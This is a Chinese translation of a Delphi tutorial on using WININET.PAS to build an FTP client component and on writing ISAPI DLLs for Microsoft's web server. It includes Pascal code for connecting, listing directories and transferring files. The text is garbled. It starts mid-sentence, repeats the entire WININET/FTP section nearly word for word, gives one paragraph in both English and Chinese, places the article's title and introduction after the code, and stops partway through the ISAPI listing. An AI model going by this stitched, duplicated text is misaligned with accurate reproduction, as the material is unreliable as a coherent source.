您要记住的适当您在使用它的时间内要把句柄返回给系统，通常是通过调用

WININET 函数 InternetCloseHandle 来实现：

function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;

为了让一个WININET进程开始，您调用 InternetOpen :

function InternetOpen(lpszCallerName: PChar; dwAccessType: DWORD;

lpszServerName: PChar; nServerPort: INTERNET_PORT;

dwFlags: DWORD): HINTERNET; stdcall;

第一个参数时打开这个进程的应用程序的名字。您可以在这个参数中传递任何您所要

的任意符串。微软公司的文献声称"这个名字作为HTTP协议中的用户代理器的名字而被使

用"。这个保留的参数可以设为0或空。

var

MyHandle: HINTERNET;

…

begin

MyHandle := InternetOpen('MyApp', 0, nil, 0, 0);

end;

如果您想要关于这个函数的更多信息，从 www.microsoft.com 那里下载

WININET.HLP 。

打开了这这个进程之后，下一步是通过 InternetConnect 函数来连接到服务器上。

function InternetConnect(

hInet: HINTERNET; // Handle from InternetOpen

lpszServerName: PChar; // Server: i.e., www.borland.com

nServerPort: INTERNET_PORT; // Usually 0

lpszUsername: PChar; // usually anonymous

lpszPassword: PChar; // usually your email address

dwService: DWORD; // FTP, HTTP, or Gopher?

dwFlags: DWORD; // Usually 0

dwContext: DWORD): // User defined number for callback

HINTERNET; stdcall;

这里有三个可能的可以通过 dwService 参数传递的自说明旗标，它们是互斥的：

INTERNET_SERVICE_FTP

INTERNET_SERVICE_GOPHER

INTERNET_SERVICE_HTTP

下面是 dwFlags 参数的选择：

INTERNET_CONNECT_FLAG_PASSIVE

这个选项仅当您在前一个参数中传递了 INTERNET_SERVER_FTP 才有效。这时候这个

参数没有其他有效的选项。

如果这个进程成功的话会返回一个有效的指针，否则它返回空。

连接上之后

当您连接上之后，您可以调用来 GetCurrentDirectory 获得当前的路径的名字：

function TMyFtp.GetCurrentDirectory: string;

var

Len: Integer;

S: string;

begin

Len := 0;

ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);

SetLength(S, Len);

ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);

Result := S;

end;

这个函数声明如下：

function FtpGetCurrentDirectory(

hFtpSession: HINTERNET; // handle from InternetConnect

lpszCurrentDirectory: PChar; // directory returned here

var lpdwCurrentDirectory: DWORD): // buf size of 2nd parameter

BOOL; stdcall; // True on success

如果您把最后一个参数设为0，那么WININET会使用这个参数来返回路径字符串的长度

。接着您可以为您的字符串分配内存，也可以在调用一次这个函数来获得路径的名字。这

个过程在上面的方法中已经演示过了。（注意到*设定长度*的那个调用，Delphi

要求您在类似这样的情况下为新的长字符串分配内存！这是因为这个字符串必须在操作系

统中指定值，而不是在 Delphi 应用程序中指定。结果就是 Delphi 不能在类似的情况下

像它通常那样悄悄地为字符串分配内存）

下面是返回在特定路径下当前可用的文件的一系列函数：

function GetFindDataStr(FindData: TWin32FindData): string;

var

S: string;

Temp: string;

begin

case FindData.dwFileAttributes of

FILE_ATTRIBUTE_ARCHIVE: S := 'A';

// FILE_ATTRIBUTE_COMPRESSED: S := 'C';

FILE_ATTRIBUTE_DIRECTORY: S := 'D';

FILE_ATTRIBUTE_HIDDEN: S := 'H';

FILE_ATTRIBUTE_NORMAL: S := 'N';

FILE_ATTRIBUTE_READONLY: S := 'R';

FILE_ATTRIBUTE_SYSTEM: S := 'S';

FILE_ATTRIBUTE_TEMPORARY: S := 'T';

else

S := IntToStr(FindData.dwFileAttributes);

end;

S := S + GetDots(75);

Move(FindData.CFilename[0], S[6], StrLen(FindData.CFileName));

Temp := IntToStr(FindData.nFileSizeLow);

Move(Temp[1], S[25], Length(Temp));

Result := S;

end;

function TMyFtp.FindFiles: TStringList;

var

FindData: TWin32FindData;

FindHandle: HInternet;

begin

FindHandle := FtpFindFirstFile(FFtphandle, '*.*',

FindData, 0, 0);

if FindHandle = nil then begin

Result := nil;

Exit;

end;

FCurFiles.Clear;

FCurFiles.Add(GetFindDataStr(FindData));

while InternetFindnextFile(FindHandle, @FindData) do

FCurFiles.Add(GetFindDataStr(FindData));

InternetCloseHandle(Findhandle);

GetCurrentDirectory;

Result := FCurFiles;

end;

这里需要注意的关键函数是 ftpFindFirstFile, InternetFindNextFile &

InternetCloseHandle 。您可以像调用 Delphi 函数 FindFirst、FindNext & FinClose

一样调用这些函数。特别的是，您使用函数 ftpFindFirstFile 来取得这个路径下的第一

个函数。您可以不断地调用

InternetFindNextFile ，直到函数返回"False"为止。当这个进程结束时，调用

InternetCloseHandle 来通知操作系统回收与这个进程相关的内存。

我不准备在这里进一步解析这个进程。如果您想要更多的信息，您可以在 Delphi

帮助中查找 FindFirst 。最后提醒一句：并不向前文提及的函数，TWin32FindData 并不

是在 WININET.PAS 中定义的， 但可以在随 Delphi 分发的 WIN32 帮助文件中找到它。

它在随 Delphi

分发的 WINDOWS.PAS 文件中被定义。

FTP 使用 WININET

现在您阅读的是本文的第二部分，它包含了WININET的内容。正如前文提及的那样，

这个部分与第一部分完全无关。

让我们先来对您在FTP部分使用WININET DLL时需要编写的代码作一个做一个概括的了

解。这并不是一个详尽的学习，但却能够让您进门。为了知晓这项技术，您要做的第一件

事情是明白 WININET.PAS 中的一些函数返回的是一个叫做 HINTERNET 类的指针变量：

var

HINTERNET: Pointer;

这个指针扮演一个您正在使用的不同的因特网服务的句柄的角色。获得了这个句柄之

后，你应当把它作为第一个参数传递给在这个进程周期[注：指FTP的整个存在时间（译者

）]中调用的其他WININET函数。

您要记住的适当您在使用它的时间内要把句柄返回给系统，通常是通过调用

WININET 函数 InternetCloseHandle 来实现：

function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;

为了让一个WININET进程开始，您调用 InternetOpen :

function InternetOpen(lpszCallerName: PChar; dwAccessType: DWORD;

lpszServerName: PChar; nServerPort: INTERNET_PORT;

dwFlags: DWORD): HINTERNET; stdcall;

第一个参数时打开这个进程的应用程序的名字。您可以在这个参数中传递任何您所要

的任意符串。微软公司的文献声称"这个名字作为HTTP协议中的用户代理器的名字而被使

用"。这个保留的参数可以设为0或空。

var

MyHandle: HINTERNET;

…

begin

MyHandle := InternetOpen('MyApp', 0, nil, 0, 0);

end;

如果您想要关于这个函数的更多信息，从 www.microsoft.com 那里下载

WININET.HLP 。

打开了这这个进程之后，下一步是通过 InternetConnect 函数来连接到服务器上。

function InternetConnect(

hInet: HINTERNET; // Handle from InternetOpen

lpszServerName: PChar; // Server: i.e., www.borland.com

nServerPort: INTERNET_PORT; // Usually 0

lpszUsername: PChar; // usually anonymous

lpszPassword: PChar; // usually your email address

dwService: DWORD; // FTP, HTTP, or Gopher?

dwFlags: DWORD; // Usually 0

dwContext: DWORD): // User defined number for callback

HINTERNET; stdcall;

这里有三个可能的可以通过 dwService 参数传递的自说明旗标，它们是互斥的：

INTERNET_SERVICE_FTP

INTERNET_SERVICE_GOPHER

INTERNET_SERVICE_HTTP

下面是 dwFlags 参数的选择：

INTERNET_CONNECT_FLAG_PASSIVE

这个选项仅当您在前一个参数中传递了 INTERNET_SERVER_FTP 才有效。这时候这个

参数没有其他有效的选项。

如果这个进程成功的话会返回一个有效的指针，否则它返回空。

连接上之后

当您连接上之后，您可以调用来 GetCurrentDirectory 获得当前的路径的名字：

function TMyFtp.GetCurrentDirectory: string;

var

Len: Integer;

S: string;

begin

Len := 0;

ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);

SetLength(S, Len);

ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);

Result := S;

end;

这个函数声明如下：

function FtpGetCurrentDirectory(

hFtpSession: HINTERNET; // handle from InternetConnect

lpszCurrentDirectory: PChar; // directory returned here

var lpdwCurrentDirectory: DWORD): // buf size of 2nd parameter

BOOL; stdcall; // True on success

如果您把最后一个参数设为0，那么WININET会使用这个参数来返回路径字符串的长度

。接着您可以为您的字符串分配内存，也可以在调用一次这个函数来获得路径的名字。这

个过程在上面的方法中已经演示过了。（注意到*设定长度*的那个调用，Delphi

要求您在类似这样的情况下为新的长字符串分配内存！这是因为这个字符串必须在操作系

统中指定值，而不是在 Delphi 应用程序中指定。结果就是 Delphi 不能在类似的情况下

像它通常那样悄悄地为字符串分配内存）

下面是返回在特定路径下当前可用的文件的一系列函数：

function GetFindDataStr(FindData: TWin32FindData): string;

var

S: string;

Temp: string;

begin

case FindData.dwFileAttributes of

FILE_ATTRIBUTE_ARCHIVE: S := 'A';

// FILE_ATTRIBUTE_COMPRESSED: S := 'C';

FILE_ATTRIBUTE_DIRECTORY: S := 'D';

FILE_ATTRIBUTE_HIDDEN: S := 'H';

FILE_ATTRIBUTE_NORMAL: S := 'N';

FILE_ATTRIBUTE_READONLY: S := 'R';

FILE_ATTRIBUTE_SYSTEM: S := 'S';

FILE_ATTRIBUTE_TEMPORARY: S := 'T';

else

S := IntToStr(FindData.dwFileAttributes);

end;

S := S + GetDots(75);

Move(FindData.CFilename[0], S[6], StrLen(FindData.CFileName));

Temp := IntToStr(FindData.nFileSizeLow);

Move(Temp[1], S[25], Length(Temp));

Result := S;

end;

function TMyFtp.FindFiles: TStringList;

var

FindData: TWin32FindData;

FindHandle: HInternet;

begin

FindHandle := FtpFindFirstFile(FFtphandle, '*.*',

FindData, 0, 0);

if FindHandle = nil then begin

Result := nil;

Exit;

end;

FCurFiles.Clear;

FCurFiles.Add(GetFindDataStr(FindData));

while InternetFindnextFile(FindHandle, @FindData) do

FCurFiles.Add(GetFindDataStr(FindData));

InternetCloseHandle(Findhandle);

GetCurrentDirectory;

Result := FCurFiles;

end;

这里需要注意的关键函数是 ftpFindFirstFile, InternetFindNextFile &

InternetCloseHandle 。您可以像调用 Delphi 函数 FindFirst、FindNext & FinClose

一样调用这些函数。特别的是，您使用函数 ftpFindFirstFile 来取得这个路径下的第一

个函数。您可以不断地调用

InternetFindNextFile ，直到函数返回"False"为止。当这个进程结束时，调用

InternetCloseHandle 来通知操作系统回收与这个进程相关的内存。

I'm not going to explain this process further in this newsletter. If you want

more information, you might look up FindFirst in the Delphi help. One final

note: Unlike the functions mentioned in the previous paragraph,

TWin32FindData is not defined in

WININET.PAS, but instead can be found in the WIN32 help file that ships with

Delphi. It is declared in the WINDOWS.PAS file that ships with Delphi.

我不准备在这里进一步解析这个进程。如果您想要更多的信息，您可以在 Delphi

帮助中查找 FindFirst 。最后提醒一句：并不向前文提及的函数，TWin32FindData 并不

是在 WININET.PAS 中定义的， 但可以在随 Delphi 分发的 WIN32 帮助文件中找到它。

它在随 Delphi

分发的 WINDOWS.PAS 文件中被定义。

==============================================================================

====

接受一个文件

您可以使用 WININET.PAS 文件中的 ftpGetFile 函数来从FTP取回一个文件:

function FtpGetFile(

hFtpSession: HINTERNET; // Returned by InternetConnect

lpszRemoteFile: PChar; // File to get

lpszNewFile: PChar; // Where to put it on your PC

fFailIfExists: BOOL; // Overwrite existing files?

dwFlagsAndAttributes: DWORD; // File attribute-See CreateFile.

dwFlags: DWORD; // Binary or ASCII transfer

dwContext: DWORD): // Usually zero

BOOL stdcall; // True on success

下面是一个如何使用该函数的例子：

function TMyFtp.GetFile(FTPFile, NewFile: string): Boolean;

begin

Result := FtpGetFile(FFTPHandle, PChar(FTPFile), PChar(NewFile),

False, File_Attribute_Normal,

Ftp_Transfer_Type_Binary, 0);

end;

如果要知道 dwFlagsAndAttributes 参数中的变量是怎样传递的，请查阅随 Delphi

附送的 WIN32 帮助文件。

典型控制

下面的 Delphi 控制给了你一个通过 WININET FTP 部分建立可视工具的起点。只是因

为，这个控制可以让您是用 Object Inspector 来定义远程服务器(RemoteServer)、用户

身份(UserID)和密码(Password)。

unit Ftp1;

{ FTP example using WININET.PAS rather than

an ACTIVEX control. Requires WININET.PAS and

WININET.DLL. WININET.DLL you can get from

Microsoft, WININET.PAS is available from

www.borland.com, or with some versions of

Delphi 2.0.

You might Respond to OnNewDir events as follows:

procedure TForm1.FTP1NewDir(Sender: TObject);

begin

ListBox1.Items := MyFtp1.FindFiles; // Get the directory list

end;

}

interface

uses

Windows, Classes, WinINet,

SysUtils;

type

TMyFtp = class(TComponent)

private

FContext: Integer;

FINet: HInternet;

FFtpHandle: HInternet;

FCurFiles: TStringList;

FServer: string;

FOnNewDir: TNotifyEvent;

FCurDir: string;

FUserID: string;

FPassword: string;

function GetCurrentDirectory: string;

procedure SetUpNewDir;

protected

destructor Destroy; override;

public

constructor Create(AOwner: TComponent); override;

function Connect: Boolean;

function FindFiles: TStringList;

function ChangeDirExact(S: string): Boolean;

function ChangeDirCustom(S: string): Boolean;

function BackOneDir: Boolean;

function GetFile(FTPFile, NewFile: string): Boolean;

function SendFile1(FTPFile, NewFile: string): Boolean;

function SendFile2(FTPFile, NewFile: string): Boolean;

function CustomToFileName(S: string): string;

published

property CurFiles: TStringList read FCurFiles;

property CurDir: string read FCurDir;

property UserID: string read FUserID write FUserID;

property Password: string read FPassword write FPassword;

property Server: string read FServer write FServer;

property OnNewDir: TNotifyEvent read FOnNewDir

write FOnNewDir;

end;

procedure Register;

implementation

uses

Dialogs;

// A few utility functions

function GetFirstToken(S: string; Token: Char): string;

var

Temp: string;

Index: INteger;

begin

Index := Pos(Token, S);

if Index < 1 then begin

GetFirstToken := '';

Exit;

end;

Dec(Index);

SetLength(Temp, Index);

Move(S[1], Temp[1], Index);

GetFirstToken := Temp;

end;

function StripFirstToken(S: string; Ch: Char): string;

var

i, Size: Integer;

begin

i := Pos(Ch, S);

if i = 0 then begin

StripFirstToken := S;

Exit;

end;

Size := (Length(S) - i);

Move(S[i + 1], S[1], Size);

SetLength(S, Size);

StripFirstToken := S;

end;

function ReverseStr(S: string): string;

var

Len: Integer;

Temp: String;

i,j: Integer;

begin

Len := Length(S);

SetLength(Temp, Len);

j := Len;

for i := 1 to Len do begin

Temp[i] := S[j];

dec(j);

end;

ReverseStr := Temp;

end;

function StripLastToken(S: string; Token: Char): string;

var

Temp: string;

Index: INteger;

begin

SetLength(Temp, Length(S));

S := ReverseStr(S);

Index := Pos(Token, S);

Inc(Index);

Move(S[Index], Temp[1], Length(S) - (Index - 1));

SetLength(Temp, Length(S) - (Index - 1));

StripLastToken := ReverseStr(Temp);

end;

procedure Register;

begin

RegisterComponents('Unleash', [TMyFtp]);

end;

constructor TMyFtp.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FCurFiles := TStringList.Create;

FINet := InternetOpen('WinINet1', 0, nil, 0, 0);

end;

destructor TMyFtp.Destroy;

begin

if FINet <> nil then

InternetCloseHandle(FINet);

if FFtpHandle <> nil then

InternetCloseHandle(FFtpHandle);

inherited Destroy;

end;

function TMyFtp.Connect: Boolean;

begin

FContext := 255;

FftpHandle := InternetConnect(FINet, PChar(FServer), 0,

PChar(FUserID), PChar(FPassWord),

Internet_Service_Ftp, 0, FContext);

if FFtpHandle = nil then

Result := False

else begin

SetUpNewDir;

Result := True;

end;

end;

function TMyFtp.GetCurrentDirectory: string;

var

Len: Integer;

S: string;

begin

Len := 0;

ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);

SetLength(S, Len);

ftpGetCurrentDirectory(FFTPHandle, PChar(S), Len);

Result := S;

end;

procedure TMyFtp.SetUpNewDir;

begin

FCurDir := GetCurrentDirectory;

if Assigned(FOnNewDir) then

FOnNewDir(Self);

end;

function GetDots(NumDots: Integer): string;

var

S: string;

i: Integer;

begin

S := '';

for i := 1 to NumDots do

S := S + ' ';

Result := S;

end;

function GetFindDataStr(FindData: TWin32FindData): string;

var

S: string;

Temp: string;

begin

case FindData.dwFileAttributes of

FILE_ATTRIBUTE_ARCHIVE: S := 'A';

// FILE_ATTRIBUTE_COMPRESSED: S := 'C';

FILE_ATTRIBUTE_DIRECTORY: S := 'D';

FILE_ATTRIBUTE_HIDDEN: S := 'H';

FILE_ATTRIBUTE_NORMAL: S := 'N';

FILE_ATTRIBUTE_READONLY: S := 'R';

FILE_ATTRIBUTE_SYSTEM: S := 'S';

FILE_ATTRIBUTE_TEMPORARY: S := 'T';

else

S := IntToStr(FindData.dwFileAttributes);

end;

S := S + GetDots(75);

Move(FindData.CFilename[0], S[6], StrLen(FindData.CFileName));

Temp := IntToStr(FindData.nFileSizeLow);

Move(Temp[1], S[25], Length(Temp));

Result := S;

end;

function TMyFtp.FindFiles: TStringList;

var

FindData: TWin32FindData;

FindHandle: HInternet;

begin

FindHandle := FtpFindFirstFile(FFtphandle, '*.*',

FindData, 0, 0);

if FindHandle = nil then begin

Result := nil;

Exit;

end;

FCurFiles.Clear;

FCurFiles.Add(GetFindDataStr(FindData));

while InternetFindnextFile(FindHandle, @FindData) do

FCurFiles.Add(GetFindDataStr(FindData));

InternetCloseHandle(Findhandle);

GetCurrentDirectory;

Result := FCurFiles;

end;

function TMyFtp.CustomToFileName(S: string): string;

const

PreSize = 6;

var

Temp: string;

TempSize: Integer;

begin

Temp := '';

TempSize := Length(S) - PreSize;

SetLength(Temp, TempSize);

Move(S[PreSize], Temp[1], TempSize);

Temp := GetFirstToken(Temp, ' ');

Result := Temp;

end;

function TMyFtp.BackOneDir: Boolean;

var

S: string;

begin

S := FCurDir;

S := StripLastToken(S, '/');

if S = '/' then begin

Result := False;

Exit;

end;

if S <> '' then begin

ChangeDirExact(S);

Result := True;

end else begin

ChangeDirExact('/');

Result := True;

end;

end;

// Changes to specific directory in S

function TMyFtp.ChangeDirExact(S: string): Boolean;

begin

if S <> '' then

FtpSetCurrentDirectory(FFTPHandle, PChar(S));

Result := True;

FindFiles;

SetUpNewDir;

end;

// Assumes S has been returned by GetFindDataString;

function TMyFtp.ChangeDirCustom(S: string): Boolean;

begin

S := CustomToFileName(S);

if S <> '' then

FtpSetCurrentDirectory(FFTPHandle, PChar(S));

Result := True;

FindFiles;

SetUpNewDir;

end;

function TMyFtp.GetFile(FTPFile, NewFile: string): Boolean;

begin

Result := FtpGetFile(FFTPHandle, PChar(FTPFile), PChar(NewFile),

False, File_Attribute_Normal,

Ftp_Transfer_Type_Binary, 0);

end;

function TMyFtp.SendFile1(FTPFile, NewFile: string): Boolean;

const

Size:DWord = 3000;

var

Transfer: Bool;

Error: DWord;

S: string;

begin

Transfer := FtpPutFile(FFTPHandle, PChar(FTPFile),

PChar(NewFile),

Ftp_Transfer_Type_Binary, 0);

if not Transfer then begin

Error := GetLastError;

ShowMessage(Format('Error Number: %d. Hex: %x',

[Error, Error]));

SetLength(S, Size);

if not InternetGetLastResponseInfo(Error, PChar(S), Size) then

begin

Error := GetLastError;

ShowMessage(Format('Error Number: %d. Hex: %x',

[Error, Error]));

end;

ShowMessage(Format('Error Number: %d. Hex: %x Info: %s',

[Error, Error, S]));

end else

ShowMessage('Success');

Result := Transfer;

end;

function TMyFtp.SendFile2(FTPFile, NewFile: string): Boolean;

var

FHandle: HInternet;

begin

FHandle := FtpOpenFile(FFTPHandle, 'sam.txt', GENERIC_READ,

FTP_TRANSFER_TYPE_BINARY, 0);

if FHandle <> nil then

InternetCloseHandle(FHandle)

else

ShowMessage('Failed');

Result := True;

end;

end.


DELPHI AND THE INTERNET
DELPHI AND THE INTERNET

by Charlie Calvert

由Boen翻译，转载请注明： Translate by Boen.

中文译稿版权属Boen所有，使用权归 CNM 编程版

WININET：构建 FTP，HTTP 和 Gopher 用户端程序

ISAPI：扩充因特网信息服务，例如，获得服务器上的信息并把它们显示在浏览器上。

现今的计算机世界中，由于微软公司的因特网战略而掀起了一个巨大发展潮流。那些制作

CGI（公共网关接

口）和第三方工具（即使是最基本的因特网工具）的日子将最终一去不复返了。对复杂的

第三方工具的需求

总是存在的，但现在程序员将会发现他们所需的大量的嵌入操作系统的因特网工具，简言

之，并不需要进一

步的投资，你就能够使用免费的DELPHI资源来：

*开发 WEB 浏览器

*运行 FTP，HTTP 和 Gopher ，在两个DELPHI应用软件之间或DELPHI应用软件和基于TCP

（传输控制协议）的

服务器之间操作TCP

因为DELPHI能够轻松地调用Windows API，并且它支持OCX/ActiveX，因此微软的新战

略和我们的计划配合

的恰到好处。微软生产工具，而DELPHI程序员获得收成！

------------------------------------------------------------------------------

--

在本篇中有些什么？

这篇文章中包含了三个大部分和一些小部分，有三个大主题：

*寻找资料： 那里能搞到本文中提及的技术资料，而且包含了关于您所需的运行文中代码

的软硬件的简短

说明。

*ISAPI：怎样使用ISAPI

*WININET：怎样使用WININET

在大多数情况下，本文中的ISAPI和WININET部分是完全独立的，您可以自由地选择阅读

时的顺序。

------------------------------------------------------------------------------

--

查找资料，硬件和软件的要求

您需要一份Microsoft Windows NT 3.51 Server 或 NT 4.0 Server 的拷贝，其中应附有

因特网信息服务

文档，因为您需要甬道其中所提到的技术。这份文档应随NT Server4.0 附送，NT 3.51的

用户可从微软的

网址上下载。运行Windows NT，您的机器的最低配置应为486兼容，20兆以上内存。

您必须有另一台计算机装有网页浏览器。为使本文中的ISAPI部分能够顺利运行，第二台

机器必须能够运行

所有支持网页浏览器的软件。如果在您的机器上运行的是Windows 95 或 Windows NT,那

么本文中的WININET

代码片就能运行的最好。任何符合条件的网页浏览器在这种技术环境下都能够使用。

在1996年六月以后发布的Delphi2.0以上的版本中，有您所需的把Delphi连接到因特网上

的几乎全部资源。

如果您没有最新的Delphi版本[注：此处作者指的是2.0版本（译者）]，那么您需要本文

档中提到的特殊文

件，所有这些几乎都可以从万维网上免费获得[注：如果您正在使用Delphi2.0以上版本，

则不许考虑

（译者）]。所有本文中提到的技术在Delphi2.0环境下都能顺利工作，但在16位Delphi环

境下则不一定能

顺利工作。

如果您需要从万维网上下载信息，链接为：http://www.borland.com/TechInfo/delphi/i

ndex.html

[注：现在已经不存在了！:-(( （译者）]

Delphi2.0的新版本中附有 WININET.PAS 文档，如果你的拷贝中不包含它，那么上面那个

万维网节点可以

为您提供。WININET.PAS包括为扩展微软视窗因特网所设计的变量清单、函数、类型和属

性。这意味着您能

够轻而易举地为您的应用程序增添FTP、HTTP和Gopher支持。微软公司的WININET.DLL是免

费发布的，如果

它不在您的Windows/System 或 Windows/System32 目录下的话，您可以从微软公司那里

得到它。下面是可

获得WININET.H这个视窗帮助文件的万维网节点：

http://www.microsoft.com/intdev/sdk/docs/wininet/default.htm [注：好象也没了！

: -( （译者）]

一般来说，微软因特网开发者的网上之家是微软节点的 INTDEV 部分。

除了WININET和ICP之外，另一个为Delphi支持的关键技术就是ISAP。正如微软公司文档中

所描述的，这项技

术能使您“‘写入’服务器端的原本和过滤本，从而扩充微软因特网信息服务和其他

ISAPI万维网服务”。

如果您需要找到关于ISAPI的描述，可以去：

http://www.microsoft.com/intdev/sdk/servapi.htm [注：上帝保佑您！;-) （译者

）]

在本文最后，附加了一个名为HTTPEXT.PAS的关键的ISAPI文档的拷贝。

微软公司免费发布的因特网控制包（ICP）是一个OCX/ActiveX控制集，您可以在Delphi中

把它们拖放到应用

程序上（Delphi2.0中包含这些控件）。他们提供了创建Delphi应用程序的即时支持，他

们知道如何浏览网页、

如何应用FTP、WINSOCK和其他因特网技术。如果您的Delphi拷贝中没有包含这些控件，那

么您在使用它们之

前您应该把这些文档添加进Delphi所在的目录中的Lib目录下。这些文档位于上面提及的

链接中的Borland的

INDEX.HTML站点下。在本文中我没有提到ICP控件，但是任何对这项技术有兴趣的人应该

明确确认他拥有这些

控件的拷贝。

您可以从我的站点下载我的Pascal应用文件，他们的名字是STRBOX.PAS 和 MATHBOX.PAS

。

经常察看一下这个站点上的关于本文提到的信息的更新情况是很有好处的。

在这里我假设读者对于Delphi和Object Pascal都很熟悉，并且读者对于因特网，HTML，

浏览器和万维网服

务器有基本的了解。

ISAPI

ISAPI是一项很容易使用然而功能强大的技术，它能够让您扩充因特网信息服务的功能。

这项技术随WindowsNT

4.0附送，让您在您的服务器上建立WEB、FTP和GOPHER站点。同时这项技术与

WindowsNT3.51 Server[注：指服

务器版本，另一个版本是工作站版本（译者）]兼容。

在过去，扩充网页服务器的最佳办法是建立CGI应用程序。它们是强有力的工具，但是也

被他们的执行格式所

限制[注：如PERL是解释执行的（译者）]。当您从浏览其上发出一个基于CGI的请求到服

务器上时，这个CGI

应用程序将极有可能先被强制装入内存中，这会消耗很多时间。而且，在某些环境下，

CGI技术显得稍微难用

了一点。

ISAPI是一种通过写入DLLs[注：动态链结程序（译者）]从而替代CGI应用的方法。您也可

以通过ISAPI来写

过滤文本，但这项技术我不会在本篇中提及。同CGI相比，ISAPI更容易使用，而且它更快

，同时能更好地利

用系统资源。在下面几点中，我将详细地介绍为什么ISAPI DLLs比CGI应用要更为出色：

ISAPI DLLs与HTTP服务位于相同的地址，因此他们能够从服务器上直接存取HTTP服务。与

CGI应用相比，它们

能更快地装入内存；当他们在服务器上发出请求时，所需的停悬的时间[注：指发出请求

到接受服务器应答的

时间（译者）]要少的多。这点当服务器的负荷很重时更加重要。

您可以控制DLLs何时被装载和卸载。例如：您可以在第一次尝试请求时预先装载DLLs；当

它们不被使用时卸载

这个ISAPI应用DLLs以便释放系统资源。

正如前文所述，您可以利用ISAPI写过滤文本[注：一般指C/S结构中的脚本（译者）]，更

具微软的文档，您可

以通过ISAPI过滤文本做下面这些事情：

用户授权方案

压缩

加密

登入

通信分析或其他请求分析（例如，寻找 "...." 中的请求）

在本文中，我会着重介绍如何编写返回数据集的DLLs，或者是如何与运行浏览器的用户进

行简单的联系。

ISAPI 基础

HTTPEXT.PAS文件包含了使用ISAPI的关键声明。这个文件应随1996年6月以后发表的

Delphi版本分发。它也可

以在Borland的站点上找到，在本文的ISAPI部分附有这份文档。因为这是基于NT的技术，

您必须使用Delphi2.0

以上的版本来应用这项技术。您不可能在16位的编辑器上应用它。

HTTPEXT.PAS包含了微软公司创立的ISAPI技术的接口[注：指Delphi接口，ISAPI由C++编

写（译者）]。在编写

Delphi的时候并没有提供ISAPI的用户接口，我会仅仅就如何使用微软公司的现有技术进

行描述。不过，ISAPI

太容易使用了，而且对大多数用户来说，用户的Delphi对象的版本并不是必须的。

有三个函数可作为ISAPI DLLs的入口，前两个是必须的，第三个时可选的。

GetExtensionVersion: 进对最低版本做检查

HttpExtensionProc: 这是DLL的入口，就象是Delphi应用程序中的 begin...end 块

TerminateExtension: 这是个可选的程序，它可以用作清除其他内存分配的线程。

当您在创建ISAPI DLL的时候，您必须引用上面列出的三个函数中的头两个函数，执行这

两个函数是所有ISAPI

编程的关键。

这三个语句都包含了“字输出”，使用这项术语是因为ISAPI DLLs扩充了因特网信息服务

器。（记住，因特网

信息服务器指的是微软服务器。如果您要把一台NT服务器作为体格网页服务器的话，那么

，这正是您所需的工

具。ISAPI DLLs随NT4.0分发，在安装操作系统是自动安装。）

ISAPI提供了一个制作服务器可遵循的标准。例如，它可以把网景公司的复杂的NSAPI接口

压缩至相关的简练而

优美的ISAPI来对NSAPI接口进行操作。

下面是这两个重要函数的声明

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL; stdcall;

function HttpExtensionProc(var ECB: TExtensionControlBlock): DWORD; stdcall;

您只要把GetExtensionVersion粘贴到您的DLLs救行了.当ISAPI向公众发布新版本时您只

需要做轻微的改动。

function GetExtensionVersion(var Ver: THSE_VERSION_INFO):

BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // 1.0 support

Ver.lpszExtensionDesc := 'Delphi 2.0 ISAPI DLL'; // Description

Result := True;

end;

The parameter passed to this function is declared in HTTPEXT.PAS as follows:

有关的参数在HTTPEXT.PAS中声明如下：

PHSE_VERSION_INFO = ^THSE_VERSION_INFO;

THSE_VERSION_INFO = packed record

dwExtensionVersion: DWORD;

lpszExtensionDesc: array[0..HseMaxExtDLLNameLen-1] of Char;

end;

常量 HseMaxExtDllNameLen 在声明中的值为256。纪录中的这两个变量是“自声明”的，

前一个包含了

ISAPI的版本号[注：即变量dwExtensionVersion （译者）]，后一个则表示用户定义的一

个用来描述

DLLs的字符串。

在您引用GetExtensionVersion语句的同时，您必须在您的DLL程序的DPR文件部分增添输

出部分。在您写

这段语句时您还应该写下：

exports

GetExtensionVersion,

HttpExtensionProc;

这就是您在建立这两个重要ISAPI DLL的函数时所要做的。下一步，使用

HttpExtensionProc，稍微复杂一

点，因此我将把它作为一个独立的部分。

与 HttpExtensionProc 一起工作

HttpExtensionProc语句是DLL的入口。它的作用就好比C语言中的 main() 语句，或者

Delphi 中的

begin...end 部分

这里有一个简单的使用GetExtensionVersion语句的例子

function HttpExtensionProc(var ECB: TExtensionControlBlock):

DWORD; stdcall;

var

ResStr: string;

StrLen: Integer;

begin

ECB.lpszLogData := 'Delphi DLL Log';

ECB.dwHTTPStatusCode := 200;

ResStr := '<HTML><TITLE>Test server result</TITLE>' +

'<H1>Test server results</H1>' +

'<BODY>Hello from ISAPI<BR></BODY>' +

'</HTML>';

ResStr := Format(

'HTTP/1.0 200 OK'#13#10+

'Content-Type: text/html'#13#10+

'Content-Length: %d'#13#10+

'Content:'#13#10#13#10'%s', [Length(ResStr), ResStr]);

StrLen := Length(ResStr);

ECB.WriteClient(ECB.ConnID, Pointer(ResStr), StrLen, 0);

Result := HSE_STATUS_SUCCESS;

end;

如果您在浏览其中向这个DLL发出请求，那么您会得到一页这样的回应：

Test Server Results

Hello from ISAPI

函数体内的大部分域提供基本信息的简单的HTML代码密切相关。您还需要填写

TExtensionControlBlock

中的一些域，如下所示。

注意到在这个纪录里有一个叫做WriteClient的函数指针，您可以引用这个函数把信息传

送回浏览器。当呼叫

这个函数时，您使用到了下面提到的TExtensionControl块中的ConnID字段。当函数被呼

叫时，ConnID为您自

动填充。

在察看函数的代码之前，请让我为您演示所有用到的上文提及的HttpExtensionProc函数

的ISAPI DLL的完

整程序

library Isapi1;

library Isapi1;

uses

Windows, SysUtils, HTTPExt;

function GetExtensionVersion( var Ver: THSE_VERSION_INFO ): BOOL; stdcall;

begin

Ver.dwExtensionVersion := $00010000; // We're expecting version 1.0 support

Ver.lpszExtensionDesc := 'Written in Delphi 2.0';

Result := True;

end;

